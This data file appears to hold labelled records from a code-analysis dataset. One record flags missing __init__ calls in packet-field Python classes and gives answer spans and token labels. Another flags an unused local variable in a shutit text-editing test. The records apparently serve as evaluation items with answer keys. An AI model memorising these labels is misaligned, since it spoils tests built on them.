[ { "content": " def __init__(self, name, default, fmt=\"H\"):\n self.name = name\n if fmt[0] in \"@=<>!\":\n self.fmt = fmt\n else:\n self.fmt = \"!\"+fmt\n self.default = self.any2i(None,default)\n self.sz = struct.calcsize(self.fmt)\n self.owners = []", "metadata": "root.Field.__init__", "header": "['class', 'Field', ':', '___EOS___']", "index": 27 }, { "content": " def __init__(self, name, default):\n Field.__init__(self, name, default, \"B\")", "metadata": "root.ByteField.__init__", "header": "['class', 'ByteField', '(', 'Field', ')', ':', '___EOS___']", "index": 268 }, { "content": "class X3BytesField(XByteField):", "metadata": "root.X3BytesField", "header": "['module', '___EOS___']", "index": 283 }, { "content": " def __init__(self, name, default):\n Field.__init__(self, name, default, \"!I\")", "metadata": "root.X3BytesField.__init__", "header": "['class', 'X3BytesField', '(', 'XByteField', ')', ':', '___EOS___']", "index": 284 }, { "content": " def __init__(self, name, default, fmt=\"H\", remain=0):\n Field.__init__(self,name,default,fmt)\n self.remain = remain ", "metadata": "root.StrField.__init__", "header": "['class', 'StrField', '(', 'Field', ')', ':', '___EOS___']", "index": 352 }, { "content": "class StrStopField(StrField):", "metadata": "root.StrStopField", "header": "['module', '___EOS___']", "index": 625 }, { "content": " def __init__(self, name, default, stop, additionnal=0):\n Field.__init__(self, name, default)\n self.stop=stop\n self.additionnal=additionnal", "metadata": "root.StrStopField.__init__", "header": "['class', 'StrStopField', '(', 'StrField', ')', ':', '___EOS___']", "index": 626 }, { "content": " def __init__(self, name, default, size):\n Field.__init__(self, name, default)\n self.rev = size < 0 \n self.size = abs(size)", "metadata": "root.BitField.__init__", "header": "['class', 'BitField', '(', 'Field', ')', ':', '___EOS___']", "index": 653 }, { "content": " def __init__(self, name, default, enum, fmt = \"H\"):\n i2s = self.i2s = {}\n s2i = self.s2i = {}\n if type(enum) is list:\n keys = range(len(enum))\n else:\n keys = enum.keys()\n if list(filter(lambda x: type(x) is str, keys)):\n i2s,s2i = s2i,i2s\n for k in keys:\n i2s[k] = enum[k]\n s2i[enum[k]] = k\n Field.__init__(self, name, default, fmt)", "metadata": "root.EnumField.__init__", "header": "['class', 'EnumField', '(', 'Field', ')', ':', '___EOS___']", "index": 738 }, { "content": "class BitEnumField(BitField,EnumField):", "metadata": "root.BitEnumField", "header": "['module', '___EOS___']", "index": 782 }, { "content": " def __init__(self, name, default, size, enum):\n EnumField.__init__(self, name, default, enum)\n self.rev = size < 0\n self.size = abs(size)", "metadata": "root.BitEnumField.__init__", "header": "['class', 'BitEnumField', '(', 'BitField', ',', 'EnumField', ')', ':', '___EOS___']", "index": 783 }, { "content": "class MultiEnumField(EnumField):", "metadata": "root.MultiEnumField", "header": "['module', '___EOS___']", "index": 824 }, { "content": " def __init__(self, name, default, enum, depends_on, fmt = \"H\"):\n \n self.depends_on = depends_on\n self.i2s_multi = enum\n self.s2i_multi = {}\n self.s2i_all = {}\n for m in enum:\n self.s2i_multi[m] = s2i = {}\n for k,v in enum[m].items():\n s2i[v] = k\n self.s2i_all[v] = k\n Field.__init__(self, name, default, fmt)", "metadata": "root.MultiEnumField.__init__", "header": "['class', 'MultiEnumField', '(', 'EnumField', ')', ':', '___EOS___']", "index": 825 }, { "content": "class BitMultiEnumField(BitField,MultiEnumField):", "metadata": "root.BitMultiEnumField", "header": "['module', '___EOS___']", "index": 852 }, { "content": " def __init__(self, name, default, size, enum, depends_on):\n MultiEnumField.__init__(self, name, default, enum)\n self.rev = size < 0\n self.size = abs(size)", "metadata": "root.BitMultiEnumField.__init__", "header": "['class', 'BitMultiEnumField', '(', 'BitField', ',', 'MultiEnumField', ')', ':', '___EOS___']", "index": 853 } ]
[ { "span": "class X3BytesField(XByteField):", "start_line": 283, "start_column": 0, "end_line": 283, "end_column": 31 }, { "span": "class StrStopField(StrField):", "start_line": 625, "start_column": 0, "end_line": 625, "end_column": 29 }, { "span": "class BitEnumField(BitField,EnumField):", "start_line": 782, "start_column": 0, "end_line": 782, "end_column": 39 }, { "span": "class MultiEnumField(EnumField):", "start_line": 824, "start_column": 0, "end_line": 824, "end_column": 32 }, { "span": "class BitMultiEnumField(BitField,MultiEnumField):", "start_line": 852, "start_column": 0, "end_line": 852, "end_column": 49 } ]
[ { "span": "def __init__(self, name, default):", "start_line": 268, "start_column": 4, "end_line": 268, "end_column": 38 }, { "span": "def __init__(self, name, default):", "start_line": 284, "start_column": 4, "end_line": 284, "end_column": 38 }, { "span": "def __init__(self, name, default, fmt=\"H\", remain=0):", "start_line": 352, "start_column": 4, "end_line": 352, "end_column": 57 }, { "span": "def __init__(self, name, default, stop, additionnal=0):", "start_line": 626, "start_column": 4, "end_line": 626, "end_column": 59 }, { "span": "def __init__(self, name, default, size):", "start_line": 653, "start_column": 4, "end_line": 653, "end_column": 44 }, { "span": "def __init__(self, name, default, enum, fmt = \"H\"):", "start_line": 738, "start_column": 4, "end_line": 738, "end_column": 55 }, { "span": "def __init__(self, name, default, size, enum):", "start_line": 783, "start_column": 4, "end_line": 783, "end_column": 50 }, { "span": "def __init__(self, name, default, enum, depends_on, fmt = \"H\"):", "start_line": 825, "start_column": 4, "end_line": 825, "end_column": 67 }, { "span": "def __init__(self, name, default, size, enum, depends_on):", "start_line": 853, "start_column": 4, "end_line": 853, "end_column": 62 } ]
1
false
[ "[CLS]_", "Missing", "_", "call_", "to_", " _", "`_", "\\u\\u", "init\\u\\u_", "`_", "dur", "ing_", "object_", "initialization", "_", "[SEP]_", "class_", "Field_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "default_", ",_", "fmt_", "=_", "\"", "H", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "name_", "=_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "fmt_", "[_", "0_", "]_", "in_", "\"@", "=", "<>", "!\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fmt_", "=_", "fmt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fmt_", "=_", "\"!\"_", "+_", "fmt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "default_", "=_", "self_", "._", "any", "2i", "_", "(_", "None_", ",_", "default_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "sz_", "=_", "struct_", "._", "calcsize_", "(_", "self_", "._", "fmt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "owners_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Byte", "Field_", "(_", "Field_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "default_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Field_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "default_", ",_", "\"", "B", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "X", "3", "Byte", "s", "Field_", "(_", "XB", "yte", "Field_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "X", "3", "Byte", "s", "Field_", "(_", "XB", "yte", "Field_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "default_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Field_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "default_", ",_", "\"!", "I", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Str", "Field_", "(_", "Field_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "default_", ",_", "fmt_", "=_", "\"", "H", "\"_", ",_", "remain_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Field_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "default_", ",_", "fmt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "remain_", "=_", "remain_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Str", "Sto", "p", "Field_", "(_", "Str", "Field_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Str", "Sto", "p", "Field_", "(_", "Str", "Field_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "default_", ",_", "stop_", ",_", "addition", "nal_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Field_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "default_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "stop_", "=_", "stop_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "addition", "nal_", "=_", "addition", "nal_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bit", "Field_", "(_", "Field_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "default_", ",_", "size_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Field_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "default_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "rev_", "=_", "size_", "<_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "size_", "=_", "abs_", "(_", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Enum", "Field_", "(_", "Field_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "default_", ",_", "enum_", ",_", "fmt_", "=_", "\"", "H", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i2", "s_", "=_", "self_", "._", "i2", "s_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s2", "i_", "=_", "self_", "._", "s2", "i_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "type_", "(_", "enum_", ")_", "is_", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "keys_", "=_", "range_", "(_", "len_", "(_", "enum_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "keys_", "=_", "enum_", "._", "keys_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "list_", "(_", "filter_", "(_", "lambda_", "x_", ":_", "type_", "(_", "x_", ")_", "is_", "str_", ",_", "keys_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i2", "s_", ",_", "s2", "i_", "=_", "s2", "i_", ",_", "i2", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "k_", "in_", "keys_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i2", "s_", "[_", "k_", "]_", "=_", "enum_", "[_", "k_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s2", "i_", "[_", "enum_", "[_", "k_", "]_", "]_", "=_", "k_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Field_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "default_", ",_", "fmt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Bit", "Enum", "Field_", "(_", "Bit", "Field_", ",_", "Enum", "Field_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bit", "Enum", "Field_", "(_", "Bit", "Field_", ",_", "Enum", "Field_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "default_", ",_", "size_", ",_", "enum_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Enum", "Field_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "default_", ",_", "enum_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "rev_", "=_", "size_", "<_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "size_", "=_", "abs_", "(_", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Multi", "Enum", "Field_", "(_", "Enum", "Field_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Multi", "Enum", "Field_", "(_", "Enum", "Field_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "default_", ",_", "enum_", ",_", "depend", "s", "\\u", "on_", ",_", "fmt_", "=_", "\"", "H", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "depend", "s", "\\u", "on_", "=_", "depend", "s", "\\u", "on_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "i2", "s", "\\u", "multi_", "=_", "enum_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "s2", "i", "\\u", "multi_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "s2", "i", "\\u", "all_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "m_", "in_", "enum_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "s2", "i", "\\u", "multi_", "[_", "m_", "]_", "=_", "s2", "i_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "enum_", "[_", "m_", "]_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s2", "i_", "[_", "v_", "]_", "=_", "k_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "s2", "i", "\\u", "all_", "[_", "v_", "]_", "=_", "k_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Field_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "default_", ",_", "fmt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Bit", "Multi", "Enum", "Field_", "(_", "Bit", "Field_", ",_", "Multi", "Enum", "Field_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bit", "Multi", "Enum", "Field_", "(_", "Bit", "Field_", ",_", "Multi", "Enum", "Field_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "default_", ",_", "size_", ",_", "enum_", ",_", "depend", "s", "\\u", "on_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Multi", "Enum", "Field_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "default_", ",_", "enum_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "rev_", "=_", "size_", "<_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "size_", "=_", "abs_", "(_", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
ianmiell/shutit/test/11/test11.py
[ { "content": "\tdef build(self, shutit):\n\n\t\t################################################################################\n\t\t# NON-LINE-ORIENTED TESTS\n\t\t################################################################################\n\t\t# simple insert \n\t\tshutit.send('cat > /tmp/a <<< \"a\"')\n\t\tshutit.insert_text('''\nb\nc\nd''','/tmp/a','a',line_oriented=False)\n\t\tif shutit.send_and_get_output('md5sum /tmp/a') != '47ece2e49e5c0333677fc34e044d8257 /tmp/a':\n\t\t\tshutit.fail('test11.1 failed')\n\n\t\t# simple insert with regexp\n\t\tshutit.send('cat > /tmp/a <<< \"abcde\"')\n\t\tshutit.insert_text('''\nb\nc\nd''','/tmp/a','b.d',line_oriented=False)\n\t\tif shutit.send_and_get_output('md5sum /tmp/a') != 'f013d5d638b770d166be6a9d1f582b73 /tmp/a':\n\t\t\tshutit.fail('test11.2 failed')\n\n\n\t\t# Insert to non-existent line.\n\t\tshutit.send('cat > /tmp/a <<< \"a\"')\n\t\tif shutit.insert_text('''\nb\nc\nd\ne''','/tmp/a','^asfasfa$',line_oriented=False) != None:\n\t\t\tshutit.fail('test11.3 failed')\n\n\n\t\t# Insert text before\n\t\tshutit.send_file('/tmp/a',\"\"\"a\nd\"\"\")\n\t\tshutit.insert_text('''b\nc\n''','/tmp/a','d',before=True,line_oriented=False)\n\t\tif shutit.send_and_get_output('md5sum /tmp/a') != 'aedeb9f7ddf76f45747fe5f7f6d211dd /tmp/a':\n\t\t\tshutit.fail('test11.4 failed')\n\n\t\t# simple insert to end\n\t\tshutit.send('cat > /tmp/a <<< \"a\"')\n\t\tshutit.insert_text('''b\nc\nd\n''','/tmp/a',line_oriented=False)\n\t\tif shutit.send_and_get_output('md5sum /tmp/a') != '47ece2e49e5c0333677fc34e044d8257 /tmp/a':\n\t\t\tshutit.fail('test11.5 failed')\n\n\t\t# simple replace\n\t\tshutit.send('cat > /tmp/11.6 <<< \"a\"')\n\t\tshutit.replace_text('''b\nc\nd\n''','/tmp/11.6','^a$',line_oriented=False)\n\t\tif shutit.send_and_get_output('md5sum /tmp/11.6') != '4e392c10508f911b8110b5ee5f3e5c76 /tmp/11.6':\n\t\t\tshutit.fail('test11.6 failed')\n\n\t\t# simple replace with non-matching pattern\n\t\tshutit.send('cat > /tmp/11.7 <<< \"a\"')\n\t\tshutit.replace_text('''b\nc\nd\n''','/tmp/11.7','willnotmatch',line_oriented=False)\n\t\tif shutit.send_and_get_output('md5sum /tmp/11.7') != '47ece2e49e5c0333677fc34e044d8257 /tmp/11.7':\n\t\t\tshutit.fail('test11.7 failed')\n\n\t\t################################################################################\n\t\t# LINE ORIENTED TESTS\n\t\t################################################################################\n\t\t# simple insert \n\t\tshutit.send('cat > /tmp/a <<< \"a\"')\n\t\tshutit.insert_text('''b\nc\nd''','/tmp/a','a')\n\t\tif shutit.send_and_get_output('md5sum /tmp/a') != '47ece2e49e5c0333677fc34e044d8257 /tmp/a':\n\t\t\tshutit.fail('test11.1.1 failed')\n\n\t\t# simple insert with regexp\n\t\tshutit.send('cat > /tmp/a <<< \"abcde\"')\n\t\tshutit.insert_text('''b\nc\nd''','/tmp/a','b.d')\n\t\tif shutit.send_and_get_output('md5sum /tmp/a') != 'fd5505764070ee318d08b5ca03b46075 /tmp/a':\n\t\t\tshutit.fail('test11.1.2 failed')\n\n\n\t\t# Insert to non-existent line.\n\t\tshutit.send('cat > /tmp/a <<< \"a\"')\n\t\tif shutit.insert_text('''b\nc\nd\ne''','/tmp/a','^asfasfa$') != None:\n\t\t\tshutit.fail('test11.4.2 failed')\n\n\n\t\t# Insert text before\n\t\tshutit.send_file('/tmp/a',\"\"\"a\nd\"\"\")\n\t\tshutit.insert_text('''b\nc''','/tmp/a','^d$',before=True)\n\t\tif shutit.send_and_get_output('md5sum /tmp/a') != 'aedeb9f7ddf76f45747fe5f7f6d211dd /tmp/a':\n\t\t\tshutit.fail('test11.5.2 failed')\n\n\t\t# simple insert to end\n\t\tshutit.send('cat > /tmp/a <<< \"a\"')\n\t\tshutit.insert_text('''b\nc\nd''','/tmp/a')\n\t\tif shutit.send_and_get_output('md5sum /tmp/a') != '47ece2e49e5c0333677fc34e044d8257 /tmp/a':\n\t\t\tshutit.fail('test11.6.2 failed')\n\n\t\t# simple replace\n\t\tshutit.send('cat > /tmp/11.7 <<< \"a\"')\n\t\tshutit.replace_text('''b\nc\nd''','/tmp/11.7','^a$')\n\t\tif shutit.send_and_get_output('md5sum /tmp/a') != '47ece2e49e5c0333677fc34e044d8257 /tmp/a':\n\t\t\tshutit.fail('test11.7.2 failed')\n\n\t\t# simple replace with non-matching pattern\n\t\tshutit.send('cat > /tmp/11.8 <<< \"a\"')\n\t\tshutit.replace_text('''b\nc\nd''','/tmp/11.8','willnotmatch')\n\t\tif shutit.send_and_get_output('md5sum /tmp/11.8') != '47ece2e49e5c0333677fc34e044d8257 /tmp/11.8':\n\t\t\tshutit.fail('test11.8.2 failed')\n\n\n\t\t# double send\n\t\tshutit.send('''cat > /tmp/11.9 << END\na line\nanother line\nEND''')\n\t\tshutit.replace_text('a new line','/tmp/11.9','new')\n\t\tshutit.replace_text('a new line','/tmp/11.9','new')\n\t\tif shutit.send_and_get_output('md5sum /tmp/11.9') != 'a9caca3131db43f6edb241c898d1ba69 /tmp/11.9':\n\t\t\tshutit.fail('test11.9.2 failed')\n\n\t\t# replace (append), replace, insert, replace, delete\n\t\tshutit.send('''cat > /tmp/11.10 << END\na line\nanother line\nEND''')\n\t\tshutit.replace_text('a new line','/tmp/11.10','new')\n\t\tshutit.replace_text('a new line','/tmp/11.10','new')\n\t\tshutit.insert_text('yet another line','/tmp/11.10')\n\t\tshutit.replace_text('a new line','/tmp/11.10','new')\n\t\tshutit.delete_text('yet another line','/tmp/11.10')\n\t\tif shutit.send_and_get_output('md5sum /tmp/11.10') != 'a9caca3131db43f6edb241c898d1ba69 /tmp/11.10':\n\t\t\tshutit.fail('test11.10.2 failed')\n\n\t\t# everything we can think of\n\t\tshutit.send('''cat > /tmp/11.11 << END\nfirst line\nsecond line\nfourth line\nEND''')\n\t\tshutit.insert_text('third line','/tmp/11.11','^sec')\n\t\tshutit.insert_text('third line','/tmp/11.11','second line')\n\t\tshutit.insert_text('fifth line','/tmp/11.11','fourth line')\n\t\tif shutit.send_and_get_output('md5sum /tmp/11.11') != '3538d04b11225ee34267767861c7e60c /tmp/11.11':\n\t\t\tshutit.fail('test11.11.2.1 failed')\n\t\tshutit.replace_text('fifth line','/tmp/11.11','^fif')\n\t\tif shutit.send_and_get_output('md5sum /tmp/11.11') != '3538d04b11225ee34267767861c7e60c /tmp/11.11':\n\t\t\tshutit.fail('test11.11.2.2 failed')\n\t\tshutit.replace_text('third line','/tmp/11.11','^thi')\n\t\tif shutit.send_and_get_output('md5sum /tmp/11.11') != '3538d04b11225ee34267767861c7e60c /tmp/11.11':\n\t\t\tshutit.fail('test11.11.2.3 failed')\n\n\n\t\tshutit.send('''cat > /tmp/11.12 << END\n$num_instances=1\nEND''')\n\t\tshutit.replace_text('$num_instances=3','/tmp/11.12','num_instances')\n\t\tif shutit.send_and_get_output('md5sum /tmp/11.12') != 'dc86deb5d312f33bf3cdb2a1c95c2c82 /tmp/11.12':\n\t\t\tshutit.fail('test 11.12 failed')\n\n\n\t\t################################################################################\n\t\t# MULTILINES\n\t\t################################################################################\n\t\tfile_text = '''A file with\nsome text in.\nIt's not very interesting,\n^but has some interesting lines$\n\nand lines with nothing in it,\n \njust spaces, and just tabs\n \nsome repeated lines\nand\nsome repeated lines\nand lines with 'some text in' it again.\nlast line\n'''\n\n\t\t# Problem here is that line_oriented False appears not to work - the regexp should cross the line, and place the text\n\t\t# after those lines and before the 'last line' line.\n\t\t#fname='/tmp/multi.11.3.1'\n\t\t#shutit.send_file(fname,file_text,truncate=True)\n\t\t#shutit.insert_text('''a new line1\n#a new line2''',fname,'''again.*last line.*''',line_oriented=False)\n\t\t#if shutit.send_and_get_output('md5sum ' + fname) != '14b694054d4f5908ab7a96789d2c9451 ' + fname:\n\t\t#\tshutit.fail('test ' + fname + 'failed')\n\n\t\t#fname='/tmp/multi.11.3.2'\n\t\t#shutit.send_file(fname,file_text,truncate=True)\n\t\t#shutit.replace_text('''a new line1''',fname,'''a new line1''')\n\t\t#if shutit.send_and_get_output('md5sum ' + fname) != 'd129f9a99dc3bb5ba2c40687c41f12c9 ' + fname:\n\t\t#\tshutit.fail('test ' + fname + '.1 failed')\n\t\t#shutit.replace_text('''a new line1''',fname,'''a new line1''')\n\t\t#if shutit.send_and_get_output('md5sum ' + fname) != 'd129f9a99dc3bb5ba2c40687c41f12c9 ' + fname:\n\t\t#\tshutit.fail('test ' + fname + '.2 